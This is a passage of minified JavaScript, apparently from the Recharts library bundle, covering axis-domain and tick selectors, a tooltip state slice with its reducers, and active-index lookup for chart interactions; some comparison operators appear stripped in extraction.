0:t.includeHidden)===!0?!0:!r.hide),vl=L([Z4,it,OI],R0,{memoizeOptions:{resultEqualityCheck:sf}}),Q4=L([vl],e=>e.filter(t=>t.type==="area"||t.type==="bar").filter(L0)),J4=e=>e.filter(t=>!("stackId"in t)||t.stackId===void 0),TI=L([vl],J4),$0=e=>e.map(t=>t.data).filter(Boolean).flat(1),MI=L([vl],$0,{memoizeOptions:{resultEqualityCheck:sf}}),B0=(e,t)=>{var{chartData:n=[],dataStartIndex:r,dataEndIndex:i}=t;return e.length>0?e:n.slice(r,i+1)},F0=L([MI,S4],B0),W0=(e,t,n)=>(t==null?void 0:t.dataKey)!=null?e.map(r=>({value:Ve(r,t.dataKey)})):n.length>0?n.map(r=>r.dataKey).flatMap(r=>e.map(i=>({value:Ve(i,r)}))):e.map(r=>({value:r})),of=L([F0,it,vl],W0);function ez(e,t){switch(e){case"xAxis":return t.direction==="x";case"yAxis":return t.direction==="y";default:return!1}}function kc(e){if(Lr(e)||e instanceof Date){var t=Number(e);if(Ee(t))return t}}function zb(e){if(Array.isArray(e)){var t=[kc(e[0]),kc(e[1])];return Br(t)?t:void 0}var n=kc(e);if(n!=null)return[n,n]}function Fr(e){return e.map(kc).filter(or)}function LI(e,t,n){return!n||typeof t!="number"||mr(t)?[]:n.length?Fr(n.flatMap(r=>{var i=Ve(e,r.dataKey),s,o;if(Array.isArray(i)?[s,o]=i:s=o=i,!(!Ee(s)||!Ee(o)))return[t-s,t+o]})):[]}var yt=e=>{var t=St(e),n=ks(e);return zs(e,t,n)},gl=L([yt],e=>e==null?void 0:e.dataKey),II=L([Q4,S4,yt],K4),tz=(e,t,n,r)=>{var i={},s=t.reduce((o,l)=>{if(l.stackId==null)return o;var c=o[l.stackId];return c==null&&(c=[]),c.push(l),o[l.stackId]=c,o},i);return Object.fromEntries(Object.entries(s).map(o=>{var[l,c]=o,u=r?[...c].reverse():c,d=u.map(M0);return[l,{stackedData:bT(e,d,n),graphicalItems:u}]}))},nz=L([II,Q4,hl,R4],tz),rz=(e,t,n,r)=>{var{dataStartIndex:i,dataEndIndex:s}=t;if(r==null&&n!=="zAxis"){var o=kT(e,i,s);if(!(o!=null&&o[0]===0&&o[1]===0))return o}},DI=L([it],e=>e.allowDataOverflow),U0=e=>{var t;if(e==null||!("domain"in e))return vh;if(e.domain!=null)return e.domain;if("ticks"in e&&e.ticks!=null){if(e.type==="number"){var n=Fr(e.ticks);return[Math.min(...n),Math.max(...n)]}if(e.type==="category")return e.ticks.map(String)}return(t=e==null?void 0:e.domain)!==null&&t!==void 0?t:vh},V0=L([it],U0),H0=L([V0,DI],C4),RI=L([nz,qr,Je,H0],rz,{memoizeOptions:{resultEqualityCheck:af}}),lf=e=>e.errorBars,$I=(e,t,n)=>e.flatMap(r=>t[r.id]).filter(Boolean).filter(r=>ez(n,r)),Du=function(){for(var t=arguments.length,n=new Array(t),r=0;r{var s,o;if(n.length>0&&e.forEach(l=>{n.forEach(c=>{var u,d,f=(u=r[c.id])===null||u===void 0?void 0:u.filter(v=>ez(i,v)),p=Ve(l,(d=t.dataKey)!==null&&d!==void 0?d:c.dataKey),h=LI(l,p,f);if(h.length>=2){var x=Math.min(...h),g=Math.max(...h);(s==null||xo)&&(o=g)}var y=zb(p);y!=null&&(s=s==null?y[0]:Math.min(s,y[0]),o=o==null?y[1]:Math.max(o,y[1]))})}),(t==null?void 0:t.dataKey)!=null&&e.forEach(l=>{var c=zb(Ve(l,t.dataKey));c!=null&&(s=s==null?c[0]:Math.min(s,c[0]),o=o==null?c[1]:Math.max(o,c[1]))}),Ee(s)&&Ee(o))return[s,o]},BI=L([F0,it,TI,lf,Je],K0,{memoizeOptions:{resultEqualityCheck:af}});function FI(e){var{value:t}=e;if(Lr(t)||t instanceof Date)return t}var WI=(e,t,n)=>{var r=e.map(FI).filter(i=>i!=null);return n&&(t.dataKey==null||t.allowDuplicatedCategory&&rN(r))?Kk(0,e.length):t.allowDuplicatedCategory?r:Array.from(new Set(r))},iz=e=>e.referenceElements.dots,Ss=(e,t,n)=>e.filter(r=>r.ifOverflow==="extendDomain").filter(r=>t==="xAxis"?r.xAxisId===n:r.yAxisId===n),UI=L([iz,Je,xl],Ss),az=e=>e.referenceElements.areas,VI=L([az,Je,xl],Ss),sz=e=>e.referenceElements.lines,HI=L([sz,Je,xl],Ss),oz=(e,t)=>{if(e!=null){var n=Fr(e.map(r=>t==="xAxis"?r.x:r.y));if(n.length!==0)return[Math.min(...n),Math.max(...n)]}},KI=L(UI,Je,oz),lz=(e,t)=>{if(e!=null){var n=Fr(e.flatMap(r=>[t==="xAxis"?r.x1:r.y1,t==="xAxis"?r.x2:r.y2]));if(n.length!==0)return[Math.min(...n),Math.max(...n)]}},YI=L([VI,Je],lz);function qI(e){var t;if(e.x!=null)return Fr([e.x]);var n=(t=e.segment)===null||t===void 0?void 0:t.map(r=>r.x);return n==null||n.length===0?[]:Fr(n)}function GI(e){var t;if(e.y!=null)return Fr([e.y]);var n=(t=e.segment)===null||t===void 0?void 0:t.map(r=>r.y);return n==null||n.length===0?[]:Fr(n)}var cz=(e,t)=>{if(e!=null){var n=e.flatMap(r=>t==="xAxis"?qI(r):GI(r));if(n.length!==0)return[Math.min(...n),Math.max(...n)]}},XI=L([HI,Je],cz),ZI=L(KI,XI,YI,(e,t,n)=>Du(e,n,t)),Y0=(e,t,n,r,i,s,o,l)=>{if(n!=null)return n;var c=o==="vertical"&&l==="xAxis"||o==="horizontal"&&l==="yAxis",u=c?Du(r,s,i):Du(s,i);return lI(t,u,e.allowDataOverflow)},QI=L([it,V0,H0,RI,BI,ZI,De,Je],Y0,{memoizeOptions:{resultEqualityCheck:af}}),JI=[0,1],q0=(e,t,n,r,i,s,o)=>{if(!((e==null||n==null||n.length===0)&&o===void 0)){var{dataKey:l,type:c}=e,u=vr(t,s);if(u&&l==null){var d;return Kk(0,(d=n==null?void 0:n.length)!==null&&d!==void 0?d:0)}return c==="category"?WI(r,e,u):i==="expand"?JI:o}},G0=L([it,De,F0,of,hl,Je,QI],q0);function eD(e){return e in ro}var uz=(e,t,n)=>{if(e!=null){var{scale:r,type:i}=e;if(r==="auto")return i==="category"&&n&&(n.indexOf("LineChart")>=0||n.indexOf("AreaChart")>=0||n.indexOf("ComposedChart")>=0&&!t)?"point":i==="category"?"band":"linear";if(typeof r=="string"){var s="scale".concat(al(r));return eD(s)?s:"point"}}},Ti=L([it,X4,P0],uz);function X0(e,t,n,r){if(!(n==null||r==null))return typeof e.scale=="function"?Nb(e.scale,n,r):Nb(t,n,r)}var Z0=(e,t,n)=>{var r=U0(t);if(!(n!=="auto"&&n!=="linear")){if(t!=null&&t.tickCount&&Array.isArray(r)&&(r[0]==="auto"||r[1]==="auto")&&Br(e))return mI(e,t.tickCount,t.allowDecimals);if(t!=null&&t.tickCount&&t.type==="number"&&Br(e))return pI(e,t.tickCount,t.allowDecimals)}},Q0=L([G0,zs,Ti],Z0),J0=(e,t,n,r)=>{if(r!=="angleAxis"&&(e==null?void 0:e.type)==="number"&&Br(t)&&Array.isArray(n)&&n.length>0){var i,s,o=t[0],l=(i=n[0])!==null&&i!==void 0?i:0,c=t[1],u=(s=n[n.length-1])!==null&&s!==void 0?s:0;return[Math.min(o,l),Math.max(c,u)]}return t},tD=L([it,G0,Q0,Je],J0),nD=L(of,it,(e,t)=>{if(!(!t||t.type!=="number")){var n=1/0,r=Array.from(Fr(e.map(f=>f.value))).sort((f,p)=>f-p),i=r[0],s=r[r.length-1];if(i==null||s==null)return 1/0;var o=s-i;if(o===0)return 1/0;for(var l=0;li,(e,t,n,r,i)=>{if(!Ee(e))return 0;var s=t==="vertical"?r.height:r.width;if(i==="gap")return e*s/2;if(i==="no-gap"){var o=fn(n,e*s),l=e*s/2;return l-o-(l-o)/s*o}return 0}),rD=(e,t,n)=>{var r=Gr(e,t);return r==null||typeof r.padding!="string"?0:dz(e,"xAxis",t,n,r.padding)},iD=(e,t,n)=>{var r=Xr(e,t);return r==null||typeof r.padding!="string"?0:dz(e,"yAxis",t,n,r.padding)},aD=L(Gr,rD,(e,t)=>{var n,r;if(e==null)return{left:0,right:0};var{padding:i}=e;return typeof i=="string"?{left:t,right:t}:{left:((n=i.left)!==null&&n!==void 0?n:0)+t,right:((r=i.right)!==null&&r!==void 0?r:0)+t}}),sD=L(Xr,iD,(e,t)=>{var n,r;if(e==null)return{top:0,bottom:0};var{padding:i}=e;return typeof i=="string"?{top:t,bottom:t}:{top:((n=i.top)!==null&&n!==void 0?n:0)+t,bottom:((r=i.bottom)!==null&&r!==void 0?r:0)+t}}),oD=L([kt,aD,Fd,Bd,(e,t,n)=>n],(e,t,n,r,i)=>{var{padding:s}=r;return i?[s.left,n.width-s.right]:[e.left+t.left,e.left+e.width-t.right]}),lD=L([kt,De,sD,Fd,Bd,(e,t,n)=>n],(e,t,n,r,i,s)=>{var{padding:o}=i;return s?[r.height-o.bottom,o.top]:t==="horizontal"?[e.top+e.height-n.bottom,e.top+n.top]:[e.top+n.top,e.top+e.height-n.bottom]}),yl=(e,t,n,r)=>{var i;switch(t){case"xAxis":return oD(e,n,r);case"yAxis":return lD(e,n,r);case"zAxis":return(i=I0(e,n))===null||i===void 0?void 0:i.range;case"angleAxis":return U4(e);case"radiusAxis":return V4(e,n);default:return}},fz=L([it,yl],nf),cD=L([Ti,tD],Y4),cf=L([it,Ti,cD,fz],X0);L([vl,lf,Je],$I);function mz(e,t){return e.idt.id?1:0}var uf=(e,t)=>t,df=(e,t,n)=>n,uD=L(Rd,uf,df,(e,t,n)=>e.filter(r=>r.orientation===t).filter(r=>r.mirror===n).sort(mz)),dD=L($d,uf,df,(e,t,n)=>e.filter(r=>r.orientation===t).filter(r=>r.mirror===n).sort(mz)),pz=(e,t)=>({width:e.width,height:t.height}),fD=(e,t)=>{var n=typeof t.width=="number"?t.width:ll;return{width:n,height:e.height}};L(kt,Gr,pz);var mD=(e,t,n)=>{switch(t){case"top":return e.top;case"bottom":return n-e.bottom;default:return 0}},pD=(e,t,n)=>{switch(t){case"left":return e.left;case"right":return n-e.right;default:return 0}},hD=L(Kr,kt,uD,uf,df,(e,t,n,r,i)=>{var s={},o;return n.forEach(l=>{var c=pz(t,l);o==null&&(o=mD(t,r,e));var u=r==="top"&&!i||r==="bottom"&&i;s[l.id]=o-Number(u)*c.height,o+=(u?-1:1)*c.height}),s}),xD=L(Hr,kt,dD,uf,df,(e,t,n,r,i)=>{var s={},o;return n.forEach(l=>{var c=fD(t,l);o==null&&(o=pD(t,r,e));var u=r==="left"&&!i||r==="right"&&i;s[l.id]=o-Number(u)*c.width,o+=(u?-1:1)*c.width}),s}),vD=(e,t)=>{var n=Gr(e,t);if(n!=null)return hD(e,n.orientation,n.mirror)};L([kt,Gr,vD,(e,t)=>t],(e,t,n,r)=>{if(t!=null){var i=n==null?void 0:n[r];return i==null?{x:e.left,y:0}:{x:e.left,y:i}}});var gD=(e,t)=>{var n=Xr(e,t);if(n!=null)return xD(e,n.orientation,n.mirror)};L([kt,Xr,gD,(e,t)=>t],(e,t,n,r)=>{if(t!=null){var i=n==null?void 0:n[r];return i==null?{x:0,y:e.top}:{x:i,y:e.top}}});L(kt,Xr,(e,t)=>{var n=typeof t.width=="number"?t.width:ll;return{width:n,height:e.height}});var hz=(e,t,n,r)=>{if(n!=null){var{allowDuplicatedCategory:i,type:s,dataKey:o}=n,l=vr(e,r),c=t.map(u=>u.value);if(o&&l&&s==="category"&&i&&rN(c))return c}},ev=L([De,of,it,Je],hz),xz=(e,t,n,r)=>{if(!(n==null||n.dataKey==null)){var{type:i,scale:s}=n,o=vr(e,r);if(o&&(i==="number"||s!=="auto"))return t.map(l=>l.value)}},tv=L([De,of,zs,Je],xz);L([De,AI,Ti,cf,ev,tv,yl,Q0,Je],(e,t,n,r,i,s,o,l,c)=>{if(t!=null){var u=vr(e,c);return{angle:t.angle,interval:t.interval,minTickGap:t.minTickGap,orientation:t.orientation,tick:t.tick,tickCount:t.tickCount,tickFormatter:t.tickFormatter,ticks:t.ticks,type:t.type,unit:t.unit,axisType:c,categoricalDomain:s,duplicateDomain:i,isCategorical:u,niceTicks:l,range:o,realScaleType:n,scale:r}}});var yD=(e,t,n,r,i,s,o,l,c)=>{if(!(t==null||r==null)){var u=vr(e,c),{type:d,ticks:f,tickCount:p}=t,h=n==="scaleBand"&&typeof r.bandwidth=="function"?r.bandwidth()/2:2,x=d==="category"&&r.bandwidth?r.bandwidth()/h:0;x=c==="angleAxis"&&s!=null&&s.length>=2?Gt(s[0]-s[1])*2*x:x;var g=f||i;return g?g.map((y,v)=>{var b=o?o.indexOf(y):y,w=r.map(b);return Ee(w)?{index:v,coordinate:w+x,value:y,offset:x}:null}).filter(or):u&&l?l.map((y,v)=>{var b=r.map(y);return Ee(b)?{coordinate:b+x,value:y,index:v,offset:x}:null}).filter(or):r.ticks?r.ticks(p).map((y,v)=>{var b=r.map(y);return Ee(b)?{coordinate:b+x,value:y,index:v,offset:x}:null}).filter(or):r.domain().map((y,v)=>{var b=r.map(y);return Ee(b)?{coordinate:b+x,value:o?o[y]:y,index:v,offset:x}:null}).filter(or)}};L([De,zs,Ti,cf,Q0,yl,ev,tv,Je],yD);var bD=(e,t,n,r,i,s,o)=>{if(!(t==null||n==null||r==null||r[0]===r[1])){var l=vr(e,o),{tickCount:c}=t,u=0;return u=o==="angleAxis"&&(r==null?void 0:r.length)>=2?Gt(r[0]-r[1])*2*u:u,l&&s?s.map((d,f)=>{var p=n.map(d);return Ee(p)?{coordinate:p+u,value:d,index:f,offset:u}:null}).filter(or):n.ticks?n.ticks(c).map((d,f)=>{var p=n.map(d);return Ee(p)?{coordinate:p+u,value:d,index:f,offset:u}:null}).filter(or):n.domain().map((d,f)=>{var p=n.map(d);return Ee(p)?{coordinate:p+u,value:i?i[d]:d,index:f,offset:u}:null}).filter(or)}},vz=L([De,zs,cf,yl,ev,tv,Je],bD),gz=L(it,cf,(e,t)=>{if(!(e==null||t==null))return Iu(Iu({},e),{},{scale:t})}),wD=L([it,Ti,G0,fz],X0);L((e,t,n)=>I0(e,n),wD,(e,t)=>{if(!(e==null||t==null))return Iu(Iu({},e),{},{scale:t})});var jD=L([De,Rd,$d],(e,t,n)=>{switch(e){case"horizontal":return t.some(r=>r.reversed)?"right-to-left":"left-to-right";case"vertical":return n.some(r=>r.reversed)?"bottom-to-top":"top-to-bottom";case"centric":case"radial":return"left-to-right";default:return}}),yz=e=>e.options.defaultTooltipEventType,bz=e=>e.options.validateTooltipEventTypes;function wz(e,t,n){if(e==null)return t;var r=e?"axis":"item";return n==null?t:n.includes(r)?r:t}function nv(e,t){var n=yz(e),r=bz(e);return wz(t,n,r)}function ND(e){return je(t=>nv(t,e))}var jz=(e,t)=>{var n,r=Number(t);if(!(mr(r)||t==null))return r>=0?e==null||(n=e[r])===null||n===void 0?void 0:n.value:void 0},kD=e=>e.tooltip.settings,si={active:!1,index:null,dataKey:void 0,graphicalItemId:void 0,coordinate:void 0},zD={itemInteraction:{click:si,hover:si},axisInteraction:{click:si,hover:si},keyboardInteraction:si,syncInteraction:{active:!1,index:null,dataKey:void 0,label:void 0,coordinate:void 0,sourceViewBox:void 0,graphicalItemId:void 0},tooltipItemPayloads:[],settings:{shared:void 0,trigger:"hover",axisId:0,active:!1,defaultIndex:void 0}},Nz=nn({name:"tooltip",initialState:zD,reducers:{addTooltipEntrySettings:{reducer(e,t){e.tooltipItemPayloads.push(t.payload)},prepare:He()},replaceTooltipEntrySettings:{reducer(e,t){var{prev:n,next:r}=t.payload,i=qn(e).tooltipItemPayloads.indexOf(n);i>-1&&(e.tooltipItemPayloads[i]=r)},prepare:He()},removeTooltipEntrySettings:{reducer(e,t){var n=qn(e).tooltipItemPayloads.indexOf(t.payload);n>-1&&e.tooltipItemPayloads.splice(n,1)},prepare:He()},setTooltipSettingsState(e,t){e.settings=t.payload},setActiveMouseOverItemIndex(e,t){e.syncInteraction.active=!1,e.keyboardInteraction.active=!1,e.itemInteraction.hover.active=!0,e.itemInteraction.hover.index=t.payload.activeIndex,e.itemInteraction.hover.dataKey=t.payload.activeDataKey,e.itemInteraction.hover.graphicalItemId=t.payload.activeGraphicalItemId,e.itemInteraction.hover.coordinate=t.payload.activeCoordinate},mouseLeaveChart(e){e.itemInteraction.hover.active=!1,e.axisInteraction.hover.active=!1},mouseLeaveItem(e){e.itemInteraction.hover.active=!1},setActiveClickItemIndex(e,t){e.syncInteraction.active=!1,e.itemInteraction.click.active=!0,e.keyboardInteraction.active=!1,e.itemInteraction.click.index=t.payload.activeIndex,e.itemInteraction.click.dataKey=t.payload.activeDataKey,e.itemInteraction.click.graphicalItemId=t.payload.activeGraphicalItemId,e.itemInteraction.click.coordinate=t.payload.activeCoordinate},setMouseOverAxisIndex(e,t){e.syncInteraction.active=!1,e.axisInteraction.hover.active=!0,e.keyboardInteraction.active=!1,e.axisInteraction.hover.index=t.payload.activeIndex,e.axisInteraction.hover.dataKey=t.payload.activeDataKey,e.axisInteraction.hover.coordinate=t.payload.activeCoordinate},setMouseClickAxisIndex(e,t){e.syncInteraction.active=!1,e.keyboardInteraction.active=!1,e.axisInteraction.click.active=!0,e.axisInteraction.click.index=t.payload.activeIndex,e.axisInteraction.click.dataKey=t.payload.activeDataKey,e.axisInteraction.click.coordinate=t.payload.activeCoordinate},setSyncInteraction(e,t){e.syncInteraction=t.payload},setKeyboardInteraction(e,t){e.keyboardInteraction.active=t.payload.active,e.keyboardInteraction.index=t.payload.activeIndex,e.keyboardInteraction.coordinate=t.payload.activeCoordinate}}}),{addTooltipEntrySettings:SD,replaceTooltipEntrySettings:CD,removeTooltipEntrySettings:PD,setTooltipSettingsState:ED,setActiveMouseOverItemIndex:kz,mouseLeaveItem:_D,mouseLeaveChart:zz,setActiveClickItemIndex:AD,setMouseOverAxisIndex:Sz,setMouseClickAxisIndex:OD,setSyncInteraction:gh,setKeyboardInteraction:yh}=Nz.actions,TD=Nz.reducer;function Sb(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function Jl(e){for(var t=1;t{if(t==null)return si;var i=DD(e,t,n);if(i==null)return si;if(i.active)return i;if(e.keyboardInteraction.active)return e.keyboardInteraction;if(e.syncInteraction.active&&e.syncInteraction.index!=null)return e.syncInteraction;var s=e.settings.active===!0;if(RD(i)){if(s)return Jl(Jl({},i),{},{active:!0})}else if(r!=null)return{active:!0,coordinate:void 0,dataKey:void 0,index:r,graphicalItemId:void 0};return Jl(Jl({},si),{},{coordinate:i.coordinate})};function $D(e){if(typeof e=="number")return Number.isFinite(e)?e:void 0;if(e instanceof Date){var t=e.valueOf();return Number.isFinite(t)?t:void 0}var n=Number(e);return Number.isFinite(n)?n:void 0}function BD(e,t){var n=$D(e),r=t[0],i=t[1];if(n===void 0)return!1;var s=Math.min(r,i),o=Math.max(r,i);return n>=s&&n<=o}function FD(e,t,n){if(n==null||t==null)return!0;var r=Ve(e,t);return r==null||!Br(n)?!0:BD(r,n)}var rv=(e,t,n,r)=>{var i=e==null?void 0:e.index;if(i==null)return null;var s=Number(i);if(!Ee(s))return i;var o=0,l=1/0;t.length>0&&(l=t.length-1);var c=Math.max(o,Math.min(s,l)),u=t[c];return u==null||FD(u,n,r)?String(c):null},Pz=(e,t,n,r,i,s,o)=>{if(s!=null){var l=o[0],c=l==null?void 0:l.getPosition(s);if(c!=null)return c;var u=i==null?void 0:i[Number(s)];if(u)switch(n){case"horizontal":return{x:u.coordinate,y:(r.top+t)/2};default:return{x:(r.left+e)/2,y:u.coordinate}}}},Ez=(e,t,n,r)=>{if(t==="axis")return e.tooltipItemPayloads;if(e.tooltipItemPayloads.length===0)return[];var i;if(n==="hover"?i=e.itemInteraction.hover.graphicalItemId:i=e.itemInteraction.click.graphicalItemId,i==null&&r!=null){var s=e.tooltipItemPayloads[0];return s!=null?[s]:[]}return e.tooltipItemPayloads.filter(o=>{var l;return((l=o.settings)===null||l===void 0?void 0:l.graphicalItemId)===i})},_z=e=>e.options.tooltipPayloadSearcher,Cs=e=>e.tooltip;function Cb(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function Pb(e){for(var t=1;t{if(!(t==null||s==null)){var{chartData:l,computedData:c,dataStartIndex:u,dataEndIndex:d}=n,f=[];return e.reduce((p,h)=>{var x,{dataDefinedOnItem:g,settings:y}=h,v=HD(g,l),b=Array.isArray(v)?fk(v,u,d):v,w=(x=y==null?void 0:y.dataKey)!==null&&x!==void 0?x:r,j=y==null?void 0:y.nameKey,N;if(r&&Array.isArray(b)&&!Array.isArray(b[0])&&o==="axis"?N=iN(b,r,i):N=s(b,t,c,j),Array.isArray(N))N.forEach(k=>{var S=Pb(Pb({},y),{},{name:k.name,unit:k.unit,color:void 0,fill:void 0});p.push(Iy({tooltipEntrySettings:S,dataKey:k.dataKey,payload:k.payload,value:Ve(k.payload,k.dataKey),name:k.name}))});else{var z;p.push(Iy({tooltipEntrySettings:y,dataKey:w,payload:N,value:Ve(N,w),name:(z=Ve(N,j))!==null&&z!==void 0?z:y==null?void 0:y.name}))}return p},f)}},iv=L([yt,X4,P0],uz),KD=L([e=>e.graphicalItems.cartesianItems,e=>e.graphicalItems.polarItems],(e,t)=>[...e,...t]),YD=L([St,ks],D0),Ps=L([KD,yt,YD],R0,{memoizeOptions:{resultEqualityCheck:sf}}),qD=L([Ps],e=>e.filter(L0)),GD=L([Ps],$0,{memoizeOptions:{resultEqualityCheck:sf}}),Es=L([GD,qr],B0),XD=L([qD,qr,yt],K4),av=L([Es,yt,Ps],W0),Oz=L([yt],U0),ZD=L([yt],e=>e.allowDataOverflow),Tz=L([Oz,ZD],C4),QD=L([Ps],e=>e.filter(L0)),JD=L([XD,QD,hl,R4],tz),eR=L([JD,qr,St,Tz],rz),tR=L([Ps],J4),nR=L([Es,yt,tR,lf,St],K0,{memoizeOptions:{resultEqualityCheck:af}}),rR=L([iz,St,ks],Ss),iR=L([rR,St],oz),aR=L([az,St,ks],Ss),sR=L([aR,St],lz),oR=L([sz,St,ks],Ss),lR=L([oR,St],cz),cR=L([iR,lR,sR],Du),uR=L([yt,Oz,Tz,eR,nR,cR,De,St],Y0),bl=L([yt,De,Es,av,hl,St,uR],q0),dR=L([bl,yt,iv],Z0),fR=L([yt,bl,dR,St],J0),Mz=e=>{var t=St(e),n=ks(e),r=!1;return yl(e,t,n,r)},Lz=L([yt,Mz],nf),Iz=L([yt,iv,fR,Lz],X0),mR=L([De,av,yt,St],hz),pR=L([De,av,yt,St],xz),hR=(e,t,n,r,i,s,o,l)=>{if(t){var{type:c}=t,u=vr(e,l);if(r){var d=n==="scaleBand"&&r.bandwidth?r.bandwidth()/2:2,f=c==="category"&&r.bandwidth?r.bandwidth()/d:0;return f=l==="angleAxis"&&i!=null&&(i==null?void 0:i.length)>=2?Gt(i[0]-i[1])*2*f:f,u&&o?o.map((p,h)=>{var x=r.map(p);return Ee(x)?{coordinate:x+f,value:p,index:h,offset:f}:null}).filter(or):r.domain().map((p,h)=>{var x=r.map(p);return Ee(x)?{coordinate:x+f,value:s?s[p]:p,index:h,offset:f}:null}).filter(or)}}},Zr=L([De,yt,iv,Iz,Mz,mR,pR,St],hR),sv=L([yz,bz,kD],(e,t,n)=>wz(n.shared,e,t)),Dz=e=>e.tooltip.settings.trigger,ov=e=>e.tooltip.settings.defaultIndex,wl=L([Cs,sv,Dz,ov],Cz),ms=L([wl,Es,gl,bl],rv),Rz=L([Zr,ms],jz),$z=L([wl],e=>{if(e)return e.dataKey}),xR=L([wl],e=>{if(e)return e.graphicalItemId}),Bz=L([Cs,sv,Dz,ov],Ez),vR=L([Hr,Kr,De,kt,Zr,ov,Bz],Pz),gR=L([wl,vR],(e,t)=>e!=null&&e.coordinate?e.coordinate:t),yR=L([wl],e=>{var t;return(t=e==null?void 0:e.active)!==null&&t!==void 0?t:!1}),bR=L([Bz,ms,qr,gl,Rz,_z,sv],Az),wR=L([bR],e=>{if(e!=null){var t=e.map(n=>n.payload).filter(n=>n!=null);return Array.from(new Set(t))}});function Eb(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function _b(e){for(var t=1;tje(yt),SR=()=>{var e=zR(),t=je(Zr),n=je(Iz);return hu(!e||!n?void 0:_b(_b({},e),{},{scale:n}),t)};function Ab(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function za(e){for(var t=1;t{var i=t.find(s=>s&&s.index===n);if(i){if(e==="horizontal")return{x:i.coordinate,y:r.chartY};if(e==="vertical")return{x:r.chartX,y:i.coordinate}}return{x:0,y:0}},AR=(e,t,n,r)=>{var i=t.find(u=>u&&u.index===n);if(i){if(e==="centric"){var s=i.coordinate,{radius:o}=r;return za(za(za({},r),dt(r.cx,r.cy,o,s)),{},{angle:s,radius:o})}var l=i.coordinate,{angle:c}=r;return za(za(za({},r),dt(r.cx,r.cy,l,c)),{},{angle:c,radius:l})}return{angle:0,clockWise:!1,cx:0,cy:0,endAngle:0,innerRadius:0,outerRadius:0,radius:0,startAngle:0,x:0,y:0}};function OR(e,t){var{chartX:n,chartY:r}=e;return n>=t.left&&n<=t.left+t.width&&r>=t.top&&r<=t.top+t.height}var Fz=(e,t,n,r,i)=>{var s,o=(s=t==null?void 0:t.length)!==null&&s!==void 0?s:0;if(o<=1||e==null)return 0;if(r==="angleAxis"&&i!=null&&Math.abs(Math.abs(i[1]-i[0])-360)<=1e-6)for(var l=0;l0?(c=n[l-1])===null||c===void 0?void 0:c.coordinate:(u=n[o-1])===null||u===void 0?void 0:u.coordinate,x=(d=n[l])===null||d===void 0?void 0:d.coordinate,g=l>=o-1?(f=n[0])===null||f===void 0?void 0:f.coordinate:(p=n[l+1])===null||p===void 0?void 0:p.coordinate,y=void 0;if(!(h==null||x==null||g==null))if(Gt(x-h)!==Gt(g-x)){var v=[];if(Gt(g-x)===Gt(i[1]-i[0])){y=g;var b=x+i[1]-i[0];v[0]=Math.min(b,(b+h)/2),v[1]=Math.max(b,(b+h)/2)}else{y=h;var w=g+i[1]-i[0];v[0]=Math.min(x,(w+x)/2),v[1]=Math.max(x,(w+x)/2)}var j=[Math.min(x,(y+x)/2),Math.max(x,(y+x)/2)];if(e>j[0]&&e<=j[1]||e>=v[0]&&e<=v[1]){var N;return(N=n[l])===null||N===void 0?void 0:N.index}}else{var z=Math.min(h,g),k=Math.max(h,g);if(e>(z+x)/2&&e<=(k+x)/2){var S;return(S=n[l])===null||S===void 0?void 0:S.index}}}else if(t)for(var A=0;A(_.coordinate+P.coordinate)/2||A>0&&A(_.coordinate+P.coordinate)/2&&e<=(_.coordinate+O.coordinate)/2)return _.index}}return-1},Wz=()=>je(P0),lv=(e,t)=>t,Uz=(e,t,n)=>n,cv=(e,t,n,r)=>r,TR=L(Zr,e=>Cd(e,t=>t.coordinate)),uv=L([Cs,lv,Uz,cv],Cz),dv=L([uv,Es,gl,bl],rv),MR=(e,t,n)=>{if(t!=null){var r=Cs(e);return t==="axis"?n==="hover"?r.axisInteraction.hover.dataKey:r.axisInteraction.click.dataKey:n==="hover"?r.itemInteraction.hover.dataKey:r.itemInteraction.click.dataKey}},Vz=L([Cs,lv,Uz,cv],Ez),Ru=L([Hr,Kr,De,kt,Zr,cv,Vz],Pz),LR=L([uv,Ru],(e,t)=>{var n;return(n=e.coordinate)!==null&&n!==void 0?n:t}),Hz=L([Zr,dv],jz),IR=L([Vz,dv,qr,gl,Hz,_z,lv],Az),DR=L([uv,dv],(e,t)=>({isActive:e.active&&t!=null,activeIndex:t})),RR=(e,t,n,r,i,s,o)=>{if(!(!e||!n||!r||!i)&&OR(e,o)){var l=zT(e,t),c=Fz(l,s,i,n,r),u=_R(t,i,c,e);return{activeIndex:String(c),activeCoordinate:u}}},$R=(e,t,n,r,i,s,o)=>{if(!(!e||!r||!i||!s||!n)){var l=C8(e,n);if(l){var c=ST(l,t),u=Fz(c,o,s,r,i),d=AR(t,s,u,l);return{activeIndex:String(u),activeCoordinate:d}}}},BR=(e,t,n,r,i,s,o,l)=>{if(!(!e||!t||!r||!i||!s))return t==="horizontal"||t==="vertical"?RR(e,t,r,i,s,o,l):$R(e,t,n,r,i,s,o)},FR=L(e=>e.zIndex.zIndexMap,(e,t)=>t,(e,t,n)=>n,(e,t,n)=>{if(t!=null){var r=e[t];if(r!=null)return n?r.panoramaElement:r.element}}),WR=L(e=>e.zIndex.zIndexMap,e=>{var t=Object.keys(e).map(r=>parseInt(r,10)).concat(Object.values(Zt)),n=Array.from(new Set(t));return n.sort((r,i)=>r-i)},{memoizeOptions:{resultEqualityCheck:NI}});function Ob(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function Tb(e){for(var t=1;tTb(Tb({},e),{},{[t]:{element:void 0,panoramaElement:void 0,consumers:0}}),KR)},qR=new Set(Object.values(Zt));function GR(e){return qR.has(e)}var 